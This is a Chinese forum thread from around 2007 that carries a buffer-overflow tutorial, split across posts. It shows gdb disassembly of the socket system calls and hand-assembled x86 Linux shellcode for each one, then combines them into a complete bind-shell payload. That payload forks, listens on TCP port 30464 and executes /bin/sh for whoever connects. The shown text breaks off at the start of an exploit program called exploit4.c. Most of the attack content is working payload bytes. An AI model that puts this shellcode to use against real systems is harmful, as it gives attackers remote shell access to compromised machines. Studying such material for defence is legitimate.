    0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx

    0x804cdb0 <socket+16>: int $0x80

    0x804cdb2 <socket+18>: movl %edx,%ebx

    0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax

    0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>

    0x804cdbd <socket+29>: ret

    0x804cdbe <socket+30>: nop

    0x804cdbf <socket+31>: nop

    End of assembler dump.

    (gdb) disassemble bind

    Dump of assembler code for function bind:

    0x804cd60 <bind>: movl %ebx,%edx

    0x804cd62 <bind+2>: movl $0x66,%eax

    0x804cd67 <bind+7>: movl $0x2,%ebx

    0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx

    0x804cd70 <bind+16>: int $0x80

    0x804cd72 <bind+18>: movl %edx,%ebx

    0x804cd74 <bind+20>: cmpl $0xffffff83,%eax

    0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>

    0x804cd7d <bind+29>: ret

    0x804cd7e <bind+30>: nop

    0x804cd7f <bind+31>: nop

    End of assembler dump.

    (gdb) disassemble listen

    Dump of assembler code for function listen:

    0x804cd80 <listen>: movl %ebx,%edx

    0x804cd82 <listen+2>: movl $0x66,%eax

    0x804cd87 <listen+7>: movl $0x4,%ebx

    0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx

    0x804cd90 <listen+16>: int $0x80

    0x804cd92 <listen+18>: movl %edx,%ebx

    0x804cd94 <listen+20>: cmpl $0xffffff83,%eax

    0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>

    0x804cd9d <listen+29>: ret

    0x804cd9e <listen+30>: nop

    0x804cd9f <listen+31>: nop

    End of assembler dump.

    (gdb) disassemble accept

    Dump of assembler code for function __accept:

    0x804cd40 <__accept>: movl %ebx,%edx

    0x804cd42 <__accept+2>: movl $0x66,%eax

    0x804cd47 <__accept+7>: movl $0x5,%ebx

    0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx

    0x804cd50 <__accept+16>: int $0x80

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:32:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客8
    发贴心情 
    0x804cd52 <__accept+18>: movl %edx,%ebx

    0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax

    0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>

    0x804cd5d <__accept+29>: ret

    0x804cd5e <__accept+30>: nop

    0x804cd5f <__accept+31>: nop

    End of assembler dump.

    (gdb) disassemble dup2

    Dump of assembler code for function dup2:

    0x804cbe0 <dup2>: movl %ebx,%edx

    0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx

    0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx

    0x804cbea <dup2+10>: movl $0x3f,%eax

    0x804cbef <dup2+15>: int $0x80

    0x804cbf1 <dup2+17>: movl %edx,%ebx

    0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax

    0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>

    0x804cbfe <dup2+30>: ret

    0x804cbff <dup2+31>: nop

    End of assembler dump.

    现在可以写上面c代码的汇编语句了。

    fork()的汇编代码

    ------------------------------------------------------------------------

    ----

    char code[]=

    "\x31\xc0" /* xorl %eax,%eax */

    "\xb0\x02" /* movb $0x2,%al */

    "\xcd\x80" /* int $0x80 */

    ------------------------------------------------------------------------

    ----

    socket(2,1,6)的汇编代码

    注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6

    ------------------------------------------------------------------------

    ----

    /* socket使用66号系统调用,1号子调用。 */

    /* 他使用一段内存块来传递参数2,1,6。 */

    /* %ecx 里面为这个内存块的地址指针. */

    char code[]=

    "\x31\xc0" /* xorl %eax,%eax */

    "\x31\xdb" /* xorl %ebx,%ebx */

    "\x89\xf1" /* movl %esi,%ecx */

    "\xb0\x02" /* movb $0x2,%al */

    "\x89\x06" /* movl %eax,(%esi) */

    /* 第一个参数 */

    /* %esi 指向一段未使用的内存空间 */

    "\xb0\x01" /* movb $0x1,%al */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    /* 第二个参数 */

    "\xb0\x06" /* movb $0x6,%al */

    "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    /* 第三个参数. */

    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x01" /* movb $0x1,%bl */

    "\xcd\x80" /* int $0x80 */

    ------------------------------------------------------------------------

    ----

    bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码

    ------------------------------------------------------------------------

    ----

    /* bind使用66号系统调用,2号子调用。 */

    /* 他使用一段内存块来传递参数。 */

    /* %ecx 里面为这个内存块的地址指针. */

    char code[]=

    "\x89\xf1" /* movl %esi,%ecx */

    "\x89\x06" /* movl %eax,(%esi) */

    /* %eax 的内容为刚才socket调用的返回值, */

    /* 就是soc文件描述符,作为第一个参数 */

    "\xb0\x02" /* movb $0x2,%al */

    "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

    /* serv_addr.sin_family=AF_NET(2) */

    /* 2 放在 0xc(%esi). */

    "\xb0\x77" /* movb $0x77,%al */

    "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

    /* 端口号(0x7700=30464)放在 0xe(%esi) */

    "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

    /* %eax = serv_addr 的地址 */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    /* 第二个参数. */

    "\x31\xc0" /* xorl %eax,%eax */

    "\x89\x46\x10" /* movl %eax,0x10(%esi) */

    /* serv_addr.sin_addr.s_addr=0 */

    "\xb0\x10" /* movb $0x10,%al */

    "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    /* 第三个参数 . */

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:32:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客9
    发贴心情 
    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x02" /* movb $0x2,%bl */

    "\xcd\x80" /* int $0x80 */

    ------------------------------------------------------------------------

    ----

    listen(soc,1)的汇编代码

    ------------------------------------------------------------------------

    ----

    /* listen使用66号系统调用,4号子调用。 */

    /* 他使用一段内存块来传递参数。 */

    /* %ecx 里面为这个内存块的地址指针. */

    char code[]=

    "\x89\xf1" /* movl %esi,%ecx */

    "\x89\x06" /* movl %eax,(%esi) */

    /* %eax 的内容为刚才socket调用的返回值, */

    /* 就是soc文件描述符,作为第一个参数 */

    "\xb0\x01" /* movb $0x1,%al */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    /* 第二个参数. */

    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x04" /* movb $0x4,%bl */

    "\xcd\x80" /* int $0x80 */

    ------------------------------------------------------------------------

    ----

    accept(soc,0,0)的汇编代码

    ------------------------------------------------------------------------

    ----

    /* accept使用66号系统调用,5号子调用。 */

    /* 他使用一段内存块来传递参数。 */

    /* %ecx 里面为这个内存块的地址指针. */

    char code[]=

    "\x89\xf1" /* movl %esi,%ecx */

    "\x89\xf1" /* movl %eax,(%esi) */

    /* %eax 的内容为刚才socket调用的返回值, */

    /* 就是soc文件描述符,作为第一个参数 */

    "\x31\xc0" /* xorl %eax,%eax */

    "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    /* 第二个参数. */

    "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    /* 第三个参数. */

    "\xb0\x66" /* movb $0x66,%al */

    "\xb3\x05" /* movb $0x5,%bl */

    "\xcd\x80" /* int $0x80 */

    ------------------------------------------------------------------------

    ----

    dup2(cli,0)的汇编代码

    ------------------------------------------------------------------------

    ----

    /* 第一个参数为 %ebx, 第二个参数为 %ecx */

    char code[]=

    /* %eax 里面是刚才accept调用的返回值, */

    /* 客户的文件描述符cli . */

    "\x88\xc3" /* movb %al,%bl */

    "\xb0\x3f" /* movb $0x3f,%al */

    "\x31\xc9" /* xorl %ecx,%ecx */

    "\xcd\x80" /* int $0x80 */

    ------------------------------------------------------------------------

    ----

    现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

    new shellcode

    ------------------------------------------------------------------------

    ----

    char shellcode[]=

    00 "\x31\xc0" /* xorl %eax,%eax */

    02 "\xb0\x02" /* movb $0x2,%al */

    04 "\xcd\x80" /* int $0x80 */

    06 "\x85\xc0" /* testl %eax,%eax */

    08 "\x75\x43" /* jne 0x43 */

    /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */

    /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */

    0a "\xeb\x43" /* jmp 0x43 */

    /* 当fork()==0 的时候,表明是子进程 */

    /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */

    0c "\x5e" /* popl %esi */

    0d "\x31\xc0" /* xorl %eax,%eax */

    0f "\x31\xdb" /* xorl %ebx,%ebx */

    11 "\x89\xf1" /* movl %esi,%ecx */

    13 "\xb0\x02" /* movb $0x2,%al */

    15 "\x89\x06" /* movl %eax,(%esi) */

    17 "\xb0\x01" /* movb $0x1,%al */

    19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    1c "\xb0\x06" /* movb $0x6,%al */

    1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    21 "\xb0\x66" /* movb $0x66,%al */

    23 "\xb3\x01" /* movb $0x1,%bl */

    25 "\xcd\x80" /* int $0x80 */

    /* 执行socket(),eax里面为返回值soc文件描述符 */

    27 "\x89\x06" /* movl %eax,(%esi) */

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:32:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客10
    发贴心情 
    29 "\xb0\x02" /* movb $0x2,%al */

    2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

    2f "\xb0\x77" /* movb $0x77,%al */

    31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

    35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

    38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    3b "\x31\xc0" /* xorl %eax,%eax */

    3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */

    40 "\xb0\x10" /* movb $0x10,%al */

    42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    45 "\xb0\x66" /* movb $0x66,%al */

    47 "\xb3\x02" /* movb $0x2,%bl */

    49 "\xcd\x80" /* int $0x80 */

    /* 执行bind() */

    4b "\xeb\x04" /* jmp 0x4 */

    /* 越过下面的两个跳转 */

    4d "\xeb\x55" /* jmp 0x55 */

    /* 跳到0x4f+0x55=0xa4 */

    4f "\xeb\x5b" /* jmp 0x5b */

    /* 跳到0x51+0x5b=0xac */

    51 "\xb0\x01" /* movb $0x1,%al */

    53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    56 "\xb0\x66" /* movb $0x66,%al */

    58 "\xb3\x04" /* movb $0x4,%bl */

    5a "\xcd\x80" /* int $0x80 */

    /* 执行listen() */

    5c "\x31\xc0" /* xorl %eax,%eax */

    5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */

    64 "\xb0\x66" /* movb $0x66,%al */

    66 "\xb3\x05" /* movb $0x5,%bl */

    68 "\xcd\x80" /* int $0x80 */

    /* 执行accept(),eax里面为返回值cli文件描述符 */

    6a "\x88\xc3" /* movb %al,%bl */

    6c "\xb0\x3f" /* movb $0x3f,%al */

    6e "\x31\xc9" /* xorl %ecx,%ecx */

    70 "\xcd\x80" /* int $0x80 */

    72 "\xb0\x3f" /* movb $0x3f,%al */

    74 "\xb1\x01" /* movb $0x1,%cl */

    76 "\xcd\x80" /* int $0x80 */

    78 "\xb0\x3f" /* movb $0x3f,%al */

    7a "\xb1\x02" /* movb $0x2,%cl */

    7c "\xcd\x80" /* int $0x80 */

    /* 执行三个dup2() */

    7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */

    /* %eax="/bin" */

    83 "\x89\x06" /* movl %eax,(%esi) */

    85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */

    /* %eax="/sh/" */

    8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */

    8d "\x31\xc0" /* xorl %eax,%eax */

    8f "\x88\x46\x07" /* movb %al,0x7(%esi) */

    92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */

    95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

    98 "\xb0\x0b" /* movb $0xb,%al */

    9a "\x89\xf3" /* movl %esi,%ebx */

    9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

    9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

    a2 "\xcd\x80" /* int $0x80 */

    /* 执行execve() */

    /* 运行/bin/sh() */

    a4 "\x31\xc0" /* xorl %eax,%eax */

    a6 "\xb0\x01" /* movb $0x1,%al */

    a8 "\x31\xdb" /* xorl %ebx,%ebx */

    aa "\xcd\x80" /* int $0x80 */

    /* 执行exit() */

    ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */

    /* 执行0x0c处的指令 */

    b1

    ------------------------------------------------------------------------

    ----

    好,长长的shell终于写完了,下面就是攻击程序了。

    exploit4.c

    ------------------------------------------------------------------------

    ----

    #include<stdio.h>

    #include<stdlib.h>

    #include<unistd.h>

    #include<netdb.h>

    #include<netinet/in.h>

    #define ALIGN 0

    #define OFFSET 0

    #define RET_POSITION 1024

    #define RANGE 200

    #define NOP 0x90

    char shellcode[]=

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:33:00
     
     GoogleAdSense
      
      
      等级:大一新生
      文章:1
      积分:50
      门派:无门无派
      院校:未填写
      注册:2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 C/C++编程思想 』的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/5/13 20:07:49

    本主题贴数16,分页: [1] [2]

    管理选项修改tag | 锁定 | 解锁 | 提升 | 删除 | 移动 | 固顶 | 总固顶 | 奖励 | 惩罚 | 发布公告
    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    187.500ms